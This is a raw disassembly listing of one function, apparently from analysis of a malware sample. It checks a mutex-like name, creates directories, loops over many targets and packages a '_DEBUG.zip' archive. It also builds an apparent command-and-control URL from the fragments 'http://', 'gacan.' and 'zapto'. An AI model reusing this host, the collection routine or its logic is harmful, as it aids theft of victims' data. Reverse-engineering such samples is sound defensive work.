Function at 0x416b7d
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x82e4
call fcn.0042ded0
mov eax, dword [0x43c078]
xor eax, esp
mov dword [esp + 0x82e0], eax
push ebx
push esi
push edi
push 0x4356e3
lea esi, [esp + 0xd4]
call fcn.0041039f
call fcn.00410b0b
push eax
push str._HTTPAnalyzerStdV7
push dword [0x63f8fc]
lea esi, [esp + 0x28]
lea eax, [esp + 0xdc]
call fcn.004104c1
lea esi, [esp + 0x40]
call fcn.004104c1
lea esi, [esp + 0x30]
call fcn.004104c1
lea esi, [esp + 0xd0]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
mov eax, dword [esp + 0x38]
call fcn.00402910
mov eax, dword [esp + 0x1c]
call fcn.00402910
xor edi, edi
mov esi, 0x1f0003
jmp 0x416c19
push eax
call dword [0x63fa14]
push dword [esp + 0xd0]
push edi
push esi
call dword [0x63f9e0]
cmp eax, edi
jne 0x416c12
push dword [esp + 0xd0]
push edi
push edi
push edi
call dword [0x63fb58]
push 0x435715
lea esi, [esp + 0x10c]
mov dword [esp + 0xe4], eax
call fcn.0041039f
lea eax, [esp + 0x68]
call fcn.00417c47
push 0x435716
lea esi, [esp + 0x6c]
mov dword [esp + 0xf0], edi
mov dword [esp + 0xe8], edi
mov dword [esp + 0xec], edi
mov dword [esp + 0xfc], edi
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf8], edi
mov dword [esp + 0x108], edi
mov dword [esp + 0x100], edi
mov dword [esp + 0x104], edi
call fcn.00410401
push 0x435717
lea esi, [esp + 0x98]
call fcn.00410401
mov ecx, 0xc7
mov dword [esp + 0xb4], edi
mov dword [esp + 0xc0], 1
mov dword [esp + 0xa8], edi
mov dword [esp + 0xa4], edi
mov dword [esp + 0xb0], edi
mov dword [esp + 0xac], edi
mov dword [esp + 0xb8], edi
mov dword [esp + 0xc4], edi
mov dword [esp + 0xc8], 0x9c40
mov dword [esp + 0xcc], edi
mov dword [0x63f9ac], edi
mov dword [0x63f9a4], edi
mov dword [0x63f9a0], edi
mov edx, ecx
lea eax, [esp + 0x63bc]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
add eax, 0x28
dec edx
jns 0x416d29
lea eax, [esp + 0x4ddc]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
add eax, 0x1c
dec ecx
jns 0x416d47
push 0x63
pop ebx
mov ecx, ebx
lea eax, [esp + 0x1598]
mov dword [eax - 8], edi
mov dword [eax - 0x10], edi
mov dword [eax - 0xc], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
mov dword [eax + 0x10], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
add eax, 0x24
dec ecx
jns 0x416d6a
mov ecx, ebx
lea eax, [esp + 0x23ac]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
mov dword [eax + 0x10], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
add eax, 0x2c
dec ecx
jns 0x416d93
lea esi, [esp + 0x34c8]
mov ecx, esi
call fcn.00417d33
add esi, 0x40
dec ebx
jns 0x416dba
push 0x31
lea esi, [esp + 0x13c]
pop ebx
mov ecx, esi
call fcn.00417d5b
add esi, 0x34
dec ebx
jns 0x416dd1
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x58], edi
call fcn.00402f03
call fcn.00418486
call fcn.0040112b
test eax, eax
jne 0x4170cd
push 0x43578e
lea esi, [esp + 0x14]
call fcn.0041039f
push 0x435bec
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435bf0
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435bf4
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435bf8
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435bfc
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c00
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c04
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c08
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c0c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c10
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c14
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c18
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c1c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c20
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c24
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c28
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c2c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x435c30
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
mov ecx, dword [esp + 0x10]
call fcn.00412439
test al, al
jne 0x4170c4
call fcn.0041c7a2
mov dword [0x63f9a8], eax
mov dword [0x63f9a0], 1
mov eax, dword [esp + 0x10]
call fcn.00402910
push 0xc
pop ebx
lea edi, [esp + 0x2c]
call fcn.00411b02
lea esi, [esp + 0x80]
call fcn.00410445
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x43578f
lea esi, [esp + 0x30]
call fcn.0041039f
push dword [0x63f7b0]
lea esi, [esp + 0x20]
lea eax, [esp + 0x30]
call fcn.004104c1
lea edi, [esp + 0x80]
lea esi, [esp + 0x38]
call fcn.0041047f
lea esi, [esp + 0x2c]
call fcn.00410445
mov eax, dword [esp + 0x38]
call fcn.00402910
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
lea eax, [esp + 0x17c]
push eax
call fcn.004164f2
add esp, 0x6c
mov ebx, eax
lea edi, [esp + 0xe4]
call fcn.00417d83
lea esi, [esp + 0x114]
call fcn.004168c7
mov eax, edi
lea esi, [esp + 0x68]
call fcn.00410445
lea eax, [esp + 0xf0]
lea esi, [esp + 0x74]
call fcn.00410445
lea eax, [esp + 0x68]
lea esi, [esp + 0x38]
call fcn.004103d1
push str._1235456HTTPAnalyzerStdV7
lea esi, [esp + 0x20]
lea eax, [esp + 0x3c]
call fcn.004104c1
lea esi, [esp + 0x38]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
lea edi, [esp + 0xfc]
lea esi, [esp + 0x1c]
lea eax, [esp + 0x38]
call fcn.0041047f
lea esi, [esp + 0x38]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [esp + 0x84]
call dword [0x63fab8]
push ebx
push ebx
push ebx
push 1
push dword [esp + 0x84]
mov dword [esp + 0xa0], eax
call dword [0x63fab8]
mov dword [esp + 0x90], eax
sub esp, 0xc
mov edi, esp
sub esp, 0xc
lea eax, [esp + 0x8c]
mov esi, esp
call fcn.004103d1
sub esp, 0xc
mov esi, esp
push str.730e70b8902a8599a5eed9d865ff1769
call fcn.0041039f
sub esp, 0xc
mov ecx, esp
call fcn.0041085a
sub esp, 0xc
lea eax, [esp + 0xa4]
mov esi, esp
call fcn.004103d1
mov ecx, edi
call fcn.00404b20
add esp, 0x30
lea edi, [esp + 0x74]
call fcn.00413526
add esp, 0xc
cmp dword [esp + 0xc8], ebx
jne 0x417291
mov dword [esp + 0xc8], 0xcb20
lea eax, [esp + 0x1588]
push eax
sub esp, 0xc
mov dword [esp + 0x38], esp
sub esp, 0xc
mov esi, esp
push 0x435c3c
call fcn.0041039f
sub esp, 0x68
lea ebx, [esp + 0xec]
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xac]
call fcn.00405f2b
add esp, 0x74
lea edi, [esp + 0x54]
call fcn.00412fa3
pop ecx
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x435c40
call fcn.0041039f
sub esp, 0x68
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xa8]
call fcn.00405f2b
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x63b4]
call fcn.00412dbd
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x435c44
call fcn.0041039f
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xa8]
call fcn.00405f2b
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x4dd4]
call fcn.00412ef4
sub esp, 0x5c
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
call fcn.004136ea
add esp, 0x5c
lea eax, [esp + 0x80]
mov esi, esp
call fcn.004103d1
sub esp, 0xc
mov esi, esp
push dword [esp + 0x50]
call fcn.0041039f
call fcn.00405229
push 6
pop ecx
mov edi, esp
push edx
push eax
lea esi, [esp + 0x64]
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
mov edi, esp
call fcn.00401ced
lea eax, [esp + 0x1610]
push eax
lea eax, [esp + 0x4e54]
push eax
lea eax, [esp + 0x6438]
push eax
call fcn.0040e974
add esp, 0x94
cmp dword [esp + 0xa8], 0
je 0x417444
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x435c48
call fcn.0041039f
sub esp, 0x68
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xa8]
call fcn.00405f2b
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x23a4]
call fcn.0041303c
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
lea eax, [esp + 0x2418]
call fcn.0040273e
add esp, 0x80
cmp dword [esp + 0xc4], 0
je 0x4174c5
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x435c4c
call fcn.0041039f
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xa8]
call fcn.00405f2b
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x144]
call fcn.00412cfc
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
push 1
lea eax, [esp + 0x1bc]
call fcn.00412c70
add esp, 0x84
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x435c50
call fcn.0041039f
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xa8]
call fcn.00405f2b
add esp, 0x74
lea ebx, [esp + 0x50]
lea ecx, [esp + 0x34d4]
call fcn.0041310c
sub esp, 0xc
push 6
pop ecx
mov edi, esp
mov esi, ebx
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
lea eax, [esp + 0x3548]
call fcn.00414ef6
xor esi, esi
add esp, 0x80
cmp dword [esp + 0xb8], esi
je 0x417563
sub esp, 0x68
mov edi, esp
call fcn.00401ced
call fcn.004151d3
mov edi, esp
call fcn.00401ced
call fcn.00416af3
add esp, 0x68
cmp dword [esp + 0xac], esi
je 0x417585
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
call fcn.00415933
add esp, 0x68
cmp dword [esp + 0xb0], esi
je 0x4175a7
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
call fcn.00415e6c
add esp, 0x68
cmp dword [esp + 0xcc], esi
je 0x4175d6
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
call fcn.00415ff9
add esp, 0x68
jmp 0x4175d6
push 0x3e8
call dword [0x63f9ec]
cmp dword [0x63f9a4], esi
ja 0x4175cb
cmp dword [esp + 0xb4], esi
je 0x417600
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
call fcn.00411e0d
add esp, 0x68
cmp dword [esp + 0xc4], esi
jne 0x417680
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x435c54
call fcn.0041039f
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
mov ecx, dword [esp + 0xa8]
call fcn.00405f2b
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x144]
call fcn.00412cfc
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
push 1
lea eax, [esp + 0x1bc]
call fcn.00412c70
add esp, 0x84
sub esp, 0xc
mov esi, esp
push 0x435c58
call fcn.0041039f
sub esp, 0x68
lea ebx, [esp + 0xdc]
mov edi, esp
call fcn.00401ced
lea ecx, [esp + 0x90]
call fcn.00405f2b
mov eax, dword [esp + 0x90]
add esp, 0x74
call fcn.00402910
call fcn.0040112b
test eax, eax
jne 0x417b26
push 0x435793
lea esi, [esp + 0x14]
call fcn.0041039f
push 0x435c5c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c60
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c64
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c68
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c6c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c70
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c74
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c78
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c7c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c80
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c84
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c88
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c8c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c90
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c94
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c98
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435c9c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
push 0x435ca0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004104c1
lea esi, [esp + 0x10]
call fcn.00410445
mov eax, dword [esp + 0x1c]
call fcn.00402910
mov ecx, dword [esp + 0x10]
call fcn.00412439
test al, al
jne 0x417b1d
lea eax, [esp + 0x28]
lea ecx, [esp + 0xdc]
call fcn.0041c857
push 0x435796
lea esi, [esp + 0x20]
call fcn.0041039f
push str.http:__
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004104c1
lea esi, [esp + 0x1c]
call fcn.00410445
mov eax, dword [esp + 0x5c]
call fcn.00402910
push str.gacan.
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004104c1
lea esi, [esp + 0x1c]
call fcn.00410445
mov eax, dword [esp + 0x5c]
call fcn.00402910
push str.zapto
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004104c1
lea esi, [esp + 0x1c]
call fcn.00410445
mov eax, dword [esp + 0x5c]
call fcn.00402910
push 0x435cc0
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004104c1
lea esi, [esp + 0x1c]
call fcn.00410445
mov eax, dword [esp + 0x5c]
call fcn.00402910
push 0x435cc4
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004104c1
lea esi, [esp + 0x1c]
call fcn.00410445
mov eax, dword [esp + 0x5c]
call fcn.00402910
push 0x31
lea esi, [esp + 0xb64]
pop edi
mov ecx, esi
call fcn.00417d5b
add esi, 0x34
dec edi
jns 0x417a4b
and dword [esp + 0x58], 0
sub esp, 0xc
mov edi, esp
push dword [esp + 0x34]
sub esp, 0xc
mov esi, esp
push str._DEBUG.zip
call fcn.0041039f
sub esp, 0xc
lea eax, [esp + 0x44]
mov esi, esp
call fcn.004103d1
sub esp, 0xc
lea eax, [esp + 0xa8]
mov esi, esp
call fcn.004103d1
sub esp, 0xc
lea eax, [esp + 0xd4]
mov esi, esp
call fcn.004103d1
push dword [esp + 0xcc]
mov ecx, dword [esp + 0x120]
push edi
call fcn.00405474
add esp, 0x3c
lea edi, [esp + 0x50]
lea ebx, [esp + 0xb6c]
call fcn.00412cfc
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401ced
push 0
lea eax, [esp + 0xbe4]
call fcn.00412c70
add esp, 0x84
push 0x31
lea esi, [esp + 0x158c]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.00412c4d
dec edi
jns 0x417b07
mov eax, dword [esp + 0x1c]
call fcn.00402910
mov eax, dword [esp + 0x10]
call fcn.00402910
mov ecx, dword [esp + 0x2c]
call fcn.004123fb
push dword [esp + 0xe0]
call dword [0x63fa14]
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401ced
call fcn.00417da7
mov eax, dword [esp + 0xa0]
add esp, 0x68
call fcn.00402910
mov eax, dword [esp + 0x2c]
call fcn.00402910
push 0x31
lea esi, [esp + 0xb64]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.00412c4d
dec edi
jns 0x417b74
push 0x63
lea esi, [esp + 0x4dcc]
pop edi
sub esi, 0x40
mov ecx, esi
call fcn.00414ed3
dec edi
jns 0x417b8b
push 0x63
lea esi, [esp + 0x34cc]
pop edi
sub esi, 0x2c
mov ecx, esi
call fcn.00417d18
dec edi
jns 0x417ba2
push 0x63
lea esi, [esp + 0x239c]
pop edi
sub esi, 0x24
mov ecx, esi
call fcn.00417cde
dec edi
jns 0x417bb9
mov edi, 0xc7
lea esi, [esp + 0x63a8]
mov ebx, edi
mov eax, dword [esi - 0xc]
sub esi, 0x1c
call fcn.00402910
mov eax, dword [esi]
call fcn.00402910
dec ebx
jns 0x417bd4
lea esi, [esp + 0x82e8]
mov eax, dword [esi - 0x18]
sub esi, 0x28
call fcn.00402910
mov eax, dword [esi]
call fcn.00402910
dec edi
jns 0x417bf0
lea esi, [esp + 0xe4]
call fcn.004168c7
lea esi, [esp + 0x68]
call fcn.00401cce
mov eax, dword [esp + 0x108]
call fcn.00402910
mov eax, dword [esp + 0xd0]
call fcn.00402910
mov ecx, dword [esp + 0x82ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041cb4c
mov esp, ebp
pop ebp
ret